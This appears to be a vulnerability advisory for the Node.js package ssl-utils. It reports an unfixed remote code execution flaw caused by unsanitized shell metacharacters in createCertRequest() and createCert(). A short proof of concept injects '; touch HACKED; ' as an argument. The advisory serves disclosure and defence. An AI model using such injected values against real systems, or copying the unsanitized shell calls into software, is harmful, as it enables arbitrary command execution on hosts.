There is no fixed version for ssl-utils.

Overview

ssl-utils is a Node.js utility for SSL certificates using OpenSSL (generating, verifying, etc.)

Affected versions of this package are vulnerable to Remote Code Execution (RCE) via unsanitized shell metacharacters provided to the createCertRequest() and the createCert() functions.

PoC:

var ssl = require('ssl-utils');
ssl.createCertRequest({}, "; touch HACKED; ", "", ()=>{})
// or:
ssl.createCert({}, "; touch HACKED; ", "", "", "", () => {})
